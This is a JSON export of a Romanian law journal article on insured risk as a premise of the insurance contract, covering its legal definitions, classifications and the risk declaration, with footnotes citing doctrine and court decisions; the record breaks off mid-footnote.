{"id":623,"date":"2011-10-14T12:11:27","date_gmt":"2011-10-14T10:11:27","guid":{"rendered":"http:\/\/aafdutm.ro\/revista\/?p=623"},"modified":"2012-03-11T14:48:57","modified_gmt":"2012-03-11T12:48:57","slug":"situatia-premisa-incheierii-contractului-de-asigurare-riscul","status":"publish","type":"post","link":"https:\/\/www.aafdutm.ro\/revista\/nr-1-mai-2011\/revista-nr-1-mai-2011\/nr-1-mai-2011-revista-nr-1-mai-2011\/situatia-premisa-incheierii-contractului-de-asigurare-riscul\/","title":{"rendered":"Situa\u0163ia premis\u0103 \u00eencheierii contractului de asigurare: riscul"},"content":{"rendered":"<p style=\"text-align: justify;\" align=\"right\"><em>Nu exist\u0103 o justi\u0163ie absolut\u0103, ci numai un contract \u00eencheiat \u00eentre oameni pentru a nu se v\u0103t\u0103ma unii pe al\u0163ii \u015fi a nu fi v\u0103t\u0103ma\u0163i.<\/em><\/p>\n<p style=\"text-align: right;\" align=\"right\"><em><a title=\"Citate de EPICUR \" href=\"http:\/\/www.dicton.ro\/citate\/author\/EPICUR\">EPICUR <\/a><\/em><\/p>\n<p style=\"text-align: justify;\">Oamenii, cu valorile \u015fi patrimoniul lor, au fost \u00eentr-o lupt\u0103 constant\u0103 \u015fi perpetu\u0103 cu for\u0163e imprevizibile \u015fi distructive care pot \u00eempiedica desf\u0103\u015furarea normal\u0103 a societ\u0103\u0163ii, a valorilor care o compun, a proceselor economice, comerciale, financiare etc., provoc\u00e2nd pagube \u00een fa\u0163a c\u0103rora omul este neputincios. Astfel, asigurarea s-a dezvoltat ca un instrument important societ\u0103\u0163ii de protec\u0163ie \u00eempotriva riscurilor ce tind a-i pune \u00een pericol existen\u0163a.<\/p>\n<p>Primele dezbateri asupra no\u0163iunii de risc au avut loc prin anii \u201850, este adev\u0103rat c\u0103 \u00eentr-o abordare mult prea matematizat\u0103 pentru realitatea \u015fi nevoia economic\u0103 acelor vremuri.<a title=\"\" href=\"#_ftn1\">[1]<\/a><\/p>\n<p><strong><em>Riscul sau pericolul asigurat<\/em><\/strong>, are o semnifica\u0163ie distinct\u0103 fa\u0163\u0103 de no\u0163iunea de risc de drept comun (asimilat ideii de pericol, \u00eent\u00e2mplare nepl\u0103cut\u0103, noroc etc.)<a title=\"\" href=\"#_ftn2\">[2]<\/a> \u015fi reprezint\u0103 <strong><em>un eveniment viitor, posibil \u015fi incert \u2013 men\u0163ionat \u00een contract \u2013 la care sunt expuse bunurile ori patrimoniul sau via\u0163a ori s\u0103n\u0103tatea unei persoane<\/em><\/strong> fizice sau juridice.<a title=\"\" href=\"#_ftn3\">[3]<\/a><\/p>\n<p style=\"text-align: justify;\">Riscul asigurat este a\u015fadar fenomenul sau evenimentul asigurat \u015fi imprevizibil care odat\u0103 produs, datorit\u0103 efectelor sale oblig\u0103 pe asigur\u0103tor s\u0103 pl\u0103teasc\u0103 asiguratului desp\u0103gubirea sau suma asigurat\u0103.<a title=\"\" href=\"#_ftn4\">[4]<\/a><\/p>\n<ul>\n<li style=\"text-align: justify;\">No\u0163iunea de risc are, de regul\u0103, mai multe sensuri: astfel riscul asigurat este folosit \u00een sens de <strong><em>probabilitate<\/em><\/strong> a producerii fenomenului. Probabilitatea sau incertitudinea poate privi \u00eendeplinirea ori ne\u00eendeplinirea evenimentului (<em>incertus an, incertus quando<\/em>), deci reprezint\u0103 o <em>condi\u0163ie<\/em>, sau poate privi numai data \u00eemplinirii evenimentului, realiz\u0103rii probabilit\u0103\u0163ii (<em>certus an sed incertus quando<\/em> ), \u00een acest caz riscul reprezent\u00e2nd un <em>termen incert<\/em>.<a title=\"\" href=\"#_ftn5\">[5]<\/a><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00cen ceea ce prive\u015fte asiguratul, obliga\u0163iile acestuia de plat\u0103 a primei de asigurare au un caracter continuu p\u00e2n\u0103 la data producerii evenimentului asigurat sau expirarea duratei contractului de asigurare. Pentru asigurat producerea riscului func\u0163ioneaz\u0103, din punct de vedere al obliga\u0163iei de a pl\u0103ti primele, ca <em>un termen extinctiv incert<\/em>.<a title=\"\" href=\"#_ftn6\">[6]<\/a><\/p>\n<ul>\n<li style=\"text-align: justify;\">Riscul mai poate fi \u00eent\u00e2lnit \u00een sensul de <strong><em>dimensiune a r\u0103spunderii<\/em><\/strong> asumate de asigur\u0103tor prin \u00eencheierea contractului de asigurare. Nu orice eveniment este cuprins \u00een asigurare, ci numai acela asigurat.<\/li>\n<li style=\"text-align: justify;\">De aici apare o nou\u0103 delimitare primar\u0103 a riscurilor ce le separ\u0103 \u00een <strong><em>riscuri asigurabile<\/em><\/strong> \u015fi <strong><em>riscuri neasigurabile.<\/em><\/strong><a title=\"\" href=\"#_ftn7\"><em><strong>[7]<\/strong><\/em><\/a> Legiuitorul nu creeaz\u0103 o delimitare expresis verbis \u00eentre aceste dou\u0103 categorii de riscuri, nu stipuleaz\u0103 nici condi\u0163ii legale de form\u0103 privind excluderile de la garan\u0163ie<a title=\"\" href=\"#_ftn8\">[8]<\/a>, ci indic\u0103 numai condi\u0163iile legale, cerute pentru ca un risc s\u0103 fie asigurabil.<a title=\"\" href=\"#_ftn9\">[9]<\/a><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Nu mai pu\u0163in adev\u0103rat este c\u0103 legiuitorul nu <em>reglementeaz\u0103 \u00een mod absolut\u00a0 limitele tehnice ale asigurabilit\u0103\u0163ii riscului<\/em><a title=\"\" href=\"#_ftn10\">[10]<\/a>, restr\u00e2ng\u00e2ndu-se la reguli stricte privind cunoa\u015fterea riscului asigurat, posibilitatea de realizare \u00een viitor a riscului asigurat, importan\u0163a riscului, dar \u015fi limitele juridice ale asigur\u0103ri riscului: <em>ordinea public\u0103, legea.<\/em> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <a title=\"\" href=\"#_ftn11\">[11]<\/a><\/p>\n<p style=\"text-align: justify;\">Din punct de vedere al unei abord\u0103ri exclusiv juridice\u00a0 riscul\u00a0 constituie un <em>fundament al r\u0103spunderii civile delictuale<\/em>, ce odat\u0103 produs na\u015fte obliga\u0163ia de dezd\u0103unare a prejudiciilor create prin fapta ilicit\u0103 cauzatoare de prejudicii.<\/p>\n<p style=\"text-align: justify;\">De re\u0163inut c\u0103 riscul nu trebuie privit \u00eentotdeauna ca un element nefericit intervenit asiguratului, ci de foarte multe ori el este un eveniment binevenit, fericit, pozitiv \u00een interesele asiguratului cum este cazul asigur\u0103rilor de via\u0163\u0103 prin ajungerea la o anumit\u0103 v\u00e2rst\u0103.<\/p>\n<ul>\n<li style=\"text-align: justify;\">De asemenea, trebuie s\u0103 remarc\u0103m c\u0103 intensitatea \u015fi inciden\u0163a riscului poate avea un traiect sinuos de-a lungul perioadei asigurate, riscul put\u00e2nd fi <strong><em>constant <\/em><\/strong>(de regul\u0103, asigur\u0103rile de bunuri), \u015fansele de realizare fiind sta\u0163ionare pe durata perioadei de asigurare sau <strong><em>variabil: <\/em><\/strong><em>progresiv sau regresiv<\/em> (cum este ipoteza asigur\u0103rilor de deces) \u00een intervalul de acoperire contractual\u0103 a prejudiciului.<a title=\"\" href=\"#_ftn12\">[12]<\/a> De la aceast\u0103 particularitate a riscului se porne\u015fte \u00een calculul primei de asigurare, care \u00een primul caz va fi de principiu neschimbat\u0103 pe parcursul \u00eentregii perioade de asigurare, spre deosebire de cel de-al doilea caz, c\u00e2nd valoarea primei de asigurare va varia\u00a0 pe baza principiului propor\u0163ionalit\u0103\u0163ii riscului cu prima de asigurare, put\u00e2nd fie s\u0103 creasc\u0103, fie dimpotriv\u0103 s\u0103 descreasc\u0103. De remarcat c\u0103, \u00een practic\u0103, ca \u015fi \u00een cazul instrumentelor financiare de creditare, asigur\u0103torii uniformizeaz\u0103 cuantumul primei raportat la perioada de asigurare stabilind o medie a valorii primei de asigurare constante de la momentul \u00eencheierii \u015fi p\u00e2n\u0103 la executarea contractului de asigurare.<\/li>\n<li>Din punct de vedere la cauzalit\u0103\u0163ii riscurilor acestea pot fi provocate de for\u0163ele dezl\u0103n\u0163uite ale naturii survenite <strong><em>accidental<\/em><\/strong><em> <\/em>(cum este cazul inunda\u0163iilor, cutremurelor, incendiilor<a title=\"\" href=\"#_ftn13\">[13]<\/a>, \u00eenghe\u0163ului etc.), iar altele pot avea o cauzalitate predictibil\u0103, venit\u0103, de exemplu, dintr-o activitate <strong><em>permanent\u0103<\/em><\/strong> (cum ar fi uzura bunului asigurat <a title=\"\" href=\"#_ftn14\">[14]<\/a>).<\/li>\n<li style=\"text-align: justify;\">Astfel survine o alt\u0103 etiologie distinct\u0103 a riscului <em>cauzele <strong>naturale<\/strong><\/em><strong> <\/strong>sau cele <strong><em>umane<\/em><\/strong><em> <\/em>cauzatoare de prejudicii \u015fi generatoare a nevoilor de dezd\u0103unare.<\/li>\n<li style=\"text-align: justify;\">\u00cen func\u0163ie de contribu\u0163ia asiguratului la producerea riscului \u00een doctrin\u0103 se face distinc\u0163ia \u00eentre <strong><em>riscuri obiective<\/em><\/strong> \u2013 generate de condi\u0163iile de mediu \u00een care exist\u0103 \u015fi func\u0163ioneaz\u0103 bunul\/valoarea asigurat\u0103 (starea bunului, gradul de folosire, rezisten\u0163a la uzur\u0103, s\u0103n\u0103tatea persoanei, cuno\u015ftin\u0163ele profesionale \u015fi modul de exercitare a unei profesii) \u015fi <strong><em>riscurile subiective<\/em><\/strong><em>,<\/em> ce depind de caracterul, moralitatea, spiritualitatea asiguratului mai greu de cuantificat, dar care pot fi diminuate prin diverse practici: verificarea declara\u0163iei de risc, practicarea sistemului fran\u015fizei, majorarea primei de asigurare etc.<a title=\"\" href=\"#_ftn15\">[15]<\/a><\/li>\n<\/ul>\n<p>Astfel\u00a0 a\u015fa cum vom vedea \u00een cele ce urmeaz\u0103 numai evenimentele viitoare, posibile, incerte \u015fi str\u0103ine de contribu\u0163ia asiguratului pot constitui un risc asigurat \u00een ipoteza \u00eentrunirii cumulative a cerin\u0163elor enumerate.<\/p>\n<ul>\n<li style=\"text-align: justify;\"><em>Defini\u0163iile date \u00een materie nu au f\u0103cut distinc\u021bia \u00eentre<\/em> <strong><em>riscurile speculative<\/em><\/strong> \u015fi <strong><em>riscurile pure<\/em><\/strong>. \u00cen ipoteza riscurilor pure exist\u0103 o incertitudine privind producerea unei pagube, \u00eens\u0103 nu exist\u0103 posibilitatea de a c\u00e2\u015ftiga ceva. Gama de rezultate este static\u0103, fie c\u0103 nu se modific\u0103 nimic \u00een situa\u0163ia de fapt, fie c\u0103 se produc anumite daune (ex. incendiu). Eficien\u0163a unei afaceri nu este protejat\u0103 de riscurile pure ci de cele speculative, riscuri ale c\u0103ror rezultate pot varia \u00eentre pierdere \u015fi c\u00e2\u015ftig. Posibilitatea de c\u00e2\u015ftig \u00eei determin\u0103 pe oamenii de afaceri s\u0103-\u015fi asume aceste riscuri. Spre deosebire de riscurile pure, daunele care \u00ee\u015fi au originea \u00een riscuri speculative nu lovesc la \u00eent\u00e2mplare. Astfel asigur\u0103rile nu sunt o m\u0103sur\u0103 disponibil\u0103 pentru a proteja asigura\u0163ii \u00eempotriva nereu\u015fitei, pentru c\u0103 o astfel de asigurare ar \u00eenl\u0103tura motiva\u0163ia lor spre eficien\u0163\u0103.<\/li>\n<li style=\"text-align: justify;\">Doctrina a identificat \u015fi alte clasific\u0103ri ale riscurilor, dup\u0103 natura lor, riscurile put\u00e2nd fi \u00eemp\u0103r\u0163ite \u00een <strong><em>comerciale<\/em><\/strong> \u015fi <strong><em>necomerciale<\/em><\/strong><a title=\"\" href=\"#_ftn16\">[16]<\/a>, din punct de vedere al etiologiei \u00eent\u00e2lnim riscuri date <strong><em>de fenomenele naturale, riscuri politico-institu\u0163ionale, riscuri de management, riscuri contractuale, riscuri conjuncturale<\/em><\/strong> <a title=\"\" href=\"#_ftn17\">[17]<\/a>,\u00a0 iar dup\u0103 localizarea lor <strong><em>riscuri interne<\/em><\/strong> (riscurile de management ) \u015fi <strong><em>riscuri externe<\/em><\/strong> (riscurile contractuale, conjuncturale etc.)<a title=\"\" href=\"#_ftn18\">[18]<\/a>, <strong><em>riscuri statistice<\/em><\/strong> (sunt asigurabile \u015fi determin\u0103 pierderi materiale) \u015fi <strong><em>riscuri dinamice<\/em><\/strong> (sunt neasigurabile, complexe \u015fi imprevizibile sub aspectul cauzalit\u0103\u0163ii, inciden\u0163ei \u015fi al cuantumului daunelor produse)<a title=\"\" href=\"#_ftn19\">[19]<\/a>, \u00eent\u00e2lnim, de asemenea, <strong><em>riscul aleator<\/em><\/strong>, propriu-zis, determinabil prin metode statistice \u015fi de calcul al probabilit\u0103\u0163ilor specific contractului de asigurare \u015fi <strong><em>riscul moral<\/em><\/strong>, care este un risc suplimentar, conjunctural sau circumstan\u0163ial care dezvolta efectele riscului aleator, m\u0103rind sinistrul. <a title=\"\" href=\"#_ftn20\">[20]<\/a><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">O alt\u0103 abordare a riscului prive\u015fte nu doar originea lui, ci \u015fi c\u0103ile prin care se propag\u0103 (sau vectorii, care pot fi naturali \u2013 mediu, clima, aer, ap\u0103 etc.,\u00a0 sau artificiali-chimici, biologici etc.), \u015fi \u0163intele pe care le au \u00een vedere (persoane fizice, juridice, copii, b\u0103tr\u00e2ni, proprietari, neproprietari etc.)\u2013 pun\u00e2ndu-se accent pe prevenirea riscului prin eliminarea lui sau diminuarea efectelor pe care le produce, preven\u0163ia fiind \u00eendreptat\u0103 \u00eentreit: asupra originilor-cauzei riscului, asupra c\u0103ilor de propagare \u015fi asupra \u0163intei.<a title=\"\" href=\"#_ftn21\">[21]<\/a><\/p>\n<p>Pentru a fi un veritabil risc ce pune \u00een pericol via\u0163a s\u0103n\u0103tatea sau bunurile unei persoane fizice sau juridice, riscul asigurat trebuie s\u0103 \u00eendeplineasc\u0103 anumite CONDI\u0162II<a title=\"\" href=\"#_ftn22\">[22]<\/a><strong> <\/strong>cunoa\u015fterea riscului de c\u0103tre asigur\u0103tor reprezent\u00e2nd a\u0219adar un element \u015fi o condi\u0163ie esen\u0163ial\u0103 de \u00eencheiere a contractului de asigurare.<\/p>\n<p style=\"text-align: justify;\">Astfel, procesul de \u00eencheiere al contractului de asigurare devine un proces complex, cauza \u00eencheierii contractului de asigurare particularizat\u0103 prin dimensiunea \u015fi frecven\u0163a riscurilor pe care asigur\u0103torul se angajeaz\u0103 a le acoperi determin\u00e2ndu-l pe acesta s\u0103 impun\u0103 asiguratului, ca o condi\u0163ie prealabil\u0103 \u015fi obligatorie \u00eencheierii contractului de asigurare, completarea declara\u0163iei de risc, formular tipizat al asigur\u0103torului ce con\u0163ine \u00eentreb\u0103ri clare, precise \u015fi complete din partea acestuia cu privire la risc, la existen\u0163a, la probabilitatea \u015fi intensitatea producerii lui.<\/p>\n<p>Aceast\u0103 particularitate a \u00eencheierii contractului de asigurare se datoreaz\u0103 tocmai riscului la care asigur\u0103torul \u00eensu\u015fi se expune accept\u00e2nd s\u0103-l protejeze pe asigurat, risc v\u0103dit \u00eempov\u0103r\u0103tor la momentul debutativ al raporturilor contractuale, ce impune asigur\u0103torului o fermitate contractual\u0103 cerut\u0103 de politica de management al riscului pe care orice asigur\u0103tor este dator prin lege a o sus\u0163ine.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<p>&nbsp;<\/p>\n<div><br clear=\"all\" \/><\/p>\n<hr align=\"left\" size=\"1\" width=\"33%\" \/>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref1\">[1]<\/a> Pentru detalii a se vedea Nela Popescu \u2013 <em>Noi tendin\u0163e \u00een analiza riscului \u00een afacerile comerciale<\/em>, Bucure\u015fti, 2004, Academia de Studii Economice, tez\u0103 de doctorat, nepublicat\u0103, p. 5.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref2\">[2]<\/a> Dic\u021bionarul explicativ al limbii rom\u00e2ne, Editura Academiei, Bucure\u015fti, 1975, p. 809. Defini\u0163ii diverse atribuite accep\u0163iunilor no\u0163iunii de risc le reg\u0103sim \u00een V. Babiuc, <em>Riscurile contractuale \u00een v\u00e2nzarea comercial\u0103 interna\u021bional\u0103,<\/em> Ed. \u015etiin\u0163ific\u0103 \u015fi Enciclopedic\u0103, Bucure\u0219ti, 1982, p.10-12. Etimologia cuv\u00e2ntului este disputat\u0103 \u00eens\u0103, trebuie remarcat\u0103 o asem\u0103nare lingvistic\u0103: astfel \u00een Anglia-<em>risque<\/em> apoi <em>risk<\/em>, \u00een Fran\u0163a <em>risquer,<\/em> \u00een Germania <em>risiko<\/em>, mai apoi <em>riskieren,<\/em> \u00een Italia <em>risco<\/em> etc. Mai multe detalii privind etimologia cuv\u00e2ntului \u00een Marius Dr\u0103ghici \u2013<em>Asigur\u0103torul-garant al pl\u0103\u0163ii<\/em>, Ed. CH Beck, Bucure\u0219ti, 2009, p. 301-302.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref3\">[3]<\/a> Francisc Deak \u2013 <em>Tratat de drept civil, Contracte speciale,<\/em> Editura Universul Juridic, Bucure\u0219ti, 2001, p. 451;<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref4\">[4]<\/a> Iulian V\u0103c\u0103rel, Florian Bercea \u2013 <em>Asigur\u0103ri \u015fi reasigur\u0103ri<\/em>, Editura Expert, Bucure\u0219ti, Edi\u021bia a II-a, p. 67 \u015fi urm.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref5\">[5]<\/a> Cu toate acestea <strong><em>nu trebuie \u00een\u021beles riscul ca av\u00e2nd natura \u015fi esen\u021ba unei modalit\u0103\u021bi a actului juridic<\/em><\/strong>, pentru c\u0103 dac\u0103 ar fi a\u0219a realizarea lui ar afecta \u00eens\u0103\u015fi existen\u0163a contractului de asigurare. \u00cen realitate producerea riscului nu conduce la desfiin\u021barea retroactiv\u0103 a contractului de asigurare, ci dimpotriv\u0103, la supraeficientizarea lui, prin na\u0219terea obliga\u021biei de dezd\u0103unare a asigur\u0103torului \u015fi nici nu \u201cactiveaz\u0103\u201d contractul de asigurare, p\u0103r\u021bile av\u00e2nd drepturi \u015fi obliga\u021bii specifice execut\u0103rii contractuale at\u00e2t pendente, c\u00e2t \u015fi eveniente producerii riscului asigurat.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref6\">[6]<\/a> Pentru detalii a se vedea Revista Dreptul, nr. 6\/2002 \u2013 <em>Riscul \u00een contractul de asigurare<\/em>\u2013 Irina Sferdian, p. 51-52.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref7\">[7]<\/a> Pentru a fi asigurabil riscul trebuie s\u0103 fie <em>m\u0103surabil<\/em> (pentru a se determina impactul inciden\u0163ei lui asupra fondurilor societarilor de asigur\u0103ri afectate desp\u0103gubirii pe acea clas\u0103 de asigur\u0103ri<em>), imprevizibil,<\/em> <em>suportabil<\/em> ca frecven\u0163\u0103 \u015fi m\u0103rime de c\u0103tre asigur\u0103tori potrivit fondurilor subscrise ale acelea\u0219i clase de asigur\u0103ri, <em>pur <\/em>nu speculativ, <em>licit<\/em> \u015fi <em>moral.<\/em> De regul\u0103, riscurile provenind din catastrofe naturale sau nucleare sunt excluse de principiu asigur\u0103rii, \u00eens\u0103 \u00een contractul de asigurare sunt \u00eentotdeauna stipulate cauzele de exonerare a r\u0103spunderii asigur\u0103torului, \u00een care intr\u0103 \u015fi o anumit\u0103 tipologie a riscurilor neasigurabile, pe care asigur\u0103torul refuz\u0103 s\u0103 le garanteze (fapta inten\u021bional\u0103 a asiguratului, culpa expres prev\u0103zut\u0103 contractual a asiguratului, pagubele cauzate de \u00eentreceri sportive, viciile lucrului etc.) \u2013 pentru detalii \u00een I. Sferidian, <em>op. cit<\/em>., p. 118-126; sau Francisc Deak \u2013 <em>Tratat de drept civil, Contracte speciale,<\/em> Editura Universul Juridic, Bucure\u0219ti, 2001, p. 480, D. Popescu, I. Macovei \u2013 <em>Contractul de asigurare<\/em>, Editura Junimea, Ia\u0219i, 1982, p. 63-64 sau S. P. Gavril\u0103 &#8211; referitor la riscul \u00een contractul de asigurare a creditelor pentru export, p. 140-143 \u015fi p. 160 \u015fi urm. Pentru exemple de riscuri asigurate \u00een asigur\u0103rile de bunuri, de persoane \u015fi de r\u0103spundere civil\u0103 \u015fi a riscurilor financiare a se vedea V. Nemes \u2013 <em>op. cit.,<\/em> p. 268, p. 279, p. 319-320, p. 386-387 \u015fi p. 292.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref8\">[8]<\/a> \u00cen doctrina francez\u0103 majoritar\u0103 s-a conchis c\u0103 excluderile de la garan\u021bie pot fi formulate direct de asigur\u0103tor, dar pot fi deduse \u015fi implicit: asigurarea care are ca obiect riscul de t\u00e2lh\u0103rie asupra unei peroane \u00een locuri publice, exclude implicit acoperirea pagubelor produse de t\u00e2lh\u0103rie \u00een locuin\u021ba asiguratului, de exemplu.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref9\">[9]<\/a>\u00a0 A se vedea Irina Sferdian \u2013 <em>Contractul de asigurare de bunuri<\/em>, Ed. Lumina Lex, Bucure\u015fti, 2004, p. 114 privind distinc\u021bia \u00eentre riscul asigurat \u015fi riscul lucrului. Pentru analiza asigurabilit\u0103\u0163ii riscurilor cunoscute \u015fi evaluate de asigur\u0103tor, \u015fi a riscurilor noi, dob\u00e2ndite, estimate sau neestimate a se vedea Jean Bigot coord. \u2013 <em>Traite de droit des assurances<\/em>, Editura L.G.D.J., Paris, 2002, vol. 3, p. 793-805.\u00a0 Se apreciaz\u0103 c\u0103 <em>riscurile inexistente la momentul contract\u0103rii asigur\u0103rii determinate de noi tehniciz\u0103ri a activit\u0103\u0163ii umane privind obiectul asigurat<\/em> (cum ar fi apari\u0163ia virusurilor informatice ce afecteaz\u0103 softul asigurat sau a organismelor genetic modificate cu impact asupra s\u0103n\u0103t\u0103\u0163ii persoanelor etc.) <em>trebuie s\u0103 se includ\u0103 automat \u00een poli\u021ba de asigurare de\u015fi p\u0103r\u0163ile nu au negociat la momentul \u00eencheierii contractului asupra acestui risc. <\/em>De asemenea, riscurile \u00een evolu\u021bie au fost apreciate de Curtea de Justi\u0163ie a Comunit\u0103\u0163ii Europene \u00een 25 iulie 1985 \u00een cazul N. Hadj-Chaib Candeille\u00a0 ca fiind riscuri asigurate de drept prin poli\u0163a de asigurare deja \u00eencheiat. Aceia\u0219i situa\u021bie o \u00eent\u00e2lnim \u00een cazul riscurilor legate de insecuritatea juridic\u0103, \u00een\u021beleg\u00e2ndu-se prin aceasta at\u00e2t insecuritatea legal\u0103, c\u00e2t \u015fi jurispruden\u021bial\u0103.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref10\">[10]<\/a> Prin Hot\u0103r\u00e2rea Consiliului Comisiei de Supraveghere a Asigur\u0103rilor din data de 17 iunie\u00a0 2008, s-au adoptat Normele privind limitarea subscrierii de riscuri privind asigur\u0103rile de credite (Monitorul Oficial, Partea I nr. 460 din 19\/06\/2008), aprobate prin Ordinul nr. 10 din 17\/06\/2008, publicat \u00een Monitorul Oficial, Partea I nr. 460 din 19\/06\/2008.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref11\">[11]<\/a> Agravarea riscului pe parcursul contractului de asigurare determin\u0103 modificarea acestuia, fie \u00een sensul rezilierii, fie \u00een sensul cre\u015fterii valorii primei de asigurare. Jurispruden\u0163a canadian\u0103 a identificat <em>circumstan\u0163e de natur\u0103 s\u0103 agraveze riscul:<\/em> falimentul sau schimbarea locatorului, prin v\u00e2nzarea imobilului, eliberarea imobilului de c\u0103tre proprietar \u015fi darea lui \u00een loca\u0163iune, \u00eencetarea activit\u0103\u0163ilor comerciale \u00een imobilul asigurat, schimbarea destina\u021biei unui imobil, conducerea vehiculului de c\u0103tre un ter\u021b ce are permisul suspendat, re\u021bin\u00e2nd totodat\u0103 c\u0103 deteriorarea situa\u0163iei financiare a asiguratului, schimbarea ac\u0163ionariatului unei societ\u0103\u0163i ce de\u0163ine bunuri asigurate nu constituie circumstan\u0163e de natur\u0103 s\u0103 agraveze riscul. Francois Beauchamp \u2013 <em>Obliga\u021biile asiguratului \u0219i responsabilit\u0103\u021bile asigur\u0103torului diligent \u00een situa\u021bia agrav\u0103rii riscului<\/em>, Revista Assurances et Gestion des Risques. Insurance and risk management, Ed. Hec Montral, vol. 75(I-2), aprilie-iulie, 2007, p. 281-309.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref12\">[12]<\/a> Pentru detalii D. Popescu, I. Macovei \u2013 <em>Contractul de asigurare<\/em>, Editura Junimea, Ia\u0219i, 1982, p.62-63.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref13\">[13]<\/a> \u00ab\u00a0<em>\u00centruc\u00e2t prin contractul de asigurare \u00eencheiat, asigur\u0103torul se oblig\u0103 ca \u00een ipoteza producerii unui eveniment ce are ca urmare pierderea total\u0103 a navei s\u0103 pl\u0103teasc\u0103 persoanei asigurate indemniza\u0163ia de asigurare, acesta nu poate refuza plata desp\u0103gubirilor ulterior producerii incendiului pe considerentul c\u0103 paguba nu reprezint\u0103 \u00be din valoarea navei, \u00een condi\u0163iile in care din rapoartele de expertiz\u0103 efectuate \u00een cauz\u0103 a reie\u015fit faptul c\u0103 nava a fost distrus\u0103 \u00een totalitate \u015fi ca atare valoarea prejudiciului dep\u0103\u015fe\u015fte \u00be din suma la care nava era evaluat\u0103. Pe cale de consecin\u0163\u0103, asigur\u0103torul este obligat la plata desp\u0103gubirilor c\u0103tre persoana asigurat\u0103.\u201d-<\/em> Trib. Bucure\u015fti, Sec\u0163ia comercial\u0103, decizia nr. 460 din 12 februarie 1997, \u00een M. T\u0103b\u0103ra\u015f, M. Constantin, <em>op. cit.,<\/em> p. 169-170.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref14\">[14]<\/a><em>\u00ab\u00a0Potrivit dispozi\u0163iilor legale \u00een materie, \u00een ipoteza \u00een care bunul asigurat a fost distrus \u00een \u00eentregime, asigur\u0103torul RCA va achita un procent de 75% din valoarea bunului la data producerii riscului, re\u0163in\u00e2ndu-se starea \u015fi gradul de uzur\u0103 ale acestuia. Aplicabilitatea dispozi\u0163iei normei speciale prin care se stipuleaz\u0103 c\u0103 \u00een ipoteza acord\u0103rii daunei totale valoarea acesteia nu poate dep\u0103\u015fi 75% din valoarea real\u0103 a bunului la momentul producerii accidentului, vizeaz\u0103 nu doar situa\u0163ia \u00een care reclamantul formuleaz\u0103 ac\u0163iunea \u00een contradictoriu cu asigur\u0103torul (astfel cum a apreciat prima instan\u0163\u0103), ci \u015fi atunci c\u00e2nd aceasta este formulat\u0103 \u00eempotriva societ\u0103\u0163ii de asigurare, a asiguratului \u015fi a comitentului persoanei asigurate. Ca atare, nu se poate acorda dauna de 100% pe argumentul c\u0103 procentul de 75% ar fi fost aplicabil \u00een situa\u0163ia \u00een care reclamantul \u00een\u0163elegea s\u0103 se judece doar cu societatea de asigur\u0103ri, \u00een baza dispozi\u0163iilor legale \u00een materie de asigur\u0103ri, re\u0163in\u00e2ndu-se totodat\u0103 c\u0103 \u00een spe\u0163\u0103 au fost invocate prevederile art. 998-999 C.civ. Aceasta, \u00eentruc\u00e2t asigur\u0103torul r\u0103spunde \u00een temeiul dispozi\u0163iilor Legii nr. 136\/1995, precum \u015fi al altor acte normative din domeniul asigur\u0103rilor, spre deosebire de asigurat \u015fi comitent care r\u0103spund \u00een temeiul prevederilor Codului civil din materia r\u0103spunderii civile delictuale.\u00a0\u00bb <\/em>C.A. Bucure\u015fti, Sec\u0163ia a V-a comercial\u0103, decizia nr. 1705 din 17 noiembrie 2003 \u00een M. T\u0103b\u0103ra\u015f, M Constantin, <em>op. cit.,<\/em> p. 110-111. Cu toate acestea \u00ab<em>Asigur\u0103torul nu poate invoca dup\u0103 producerea riscului asigurat faptul c\u0103 autovehiculul prezenta un grad de uzur\u0103 mai mare dec\u00e2t cel prev\u0103zut \u00een contract, \u00een scopul achit\u0103rii desp\u0103gubirilor \u00een cuantum inferior celor prev\u0103zute la momentul producerii riscului, \u00een condi\u0163iile \u00een care primele de asigurare au fost \u00eencasate \u00een raport de gradul de uzur\u0103 prev\u0103zut \u00een contract, fiind acceptate de c\u0103tre asigur\u0103tor\u00a0\u00bb <\/em>I.C.C.J., Sec\u0163ia comercial\u0103, decizia nr. 2408 din 18 aprilie 2003<em>,<\/em> \u00een M. T\u0103b\u0103ra\u015f, M. Constantin, <em>op. cit<\/em>.,\u00a0 p. 120.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref15\">[15]<\/a> \u00cen acest sens D. Popescu, I. Macovei \u2013 <em>op. cit.,<\/em> p. 61-62. \u00cen practic\u0103 s-a re\u021binut c\u0103 <em>\u00ab\u00a0Societatea de asigur\u0103ri nu poate fi obligat\u0103 la plata indemniza\u0163iei de asigurare c\u0103tre persoana asigurat\u0103 \u00een ipoteza \u00een care, pe de o parte, asiguratul nu a depus nicio diligen\u0163\u0103 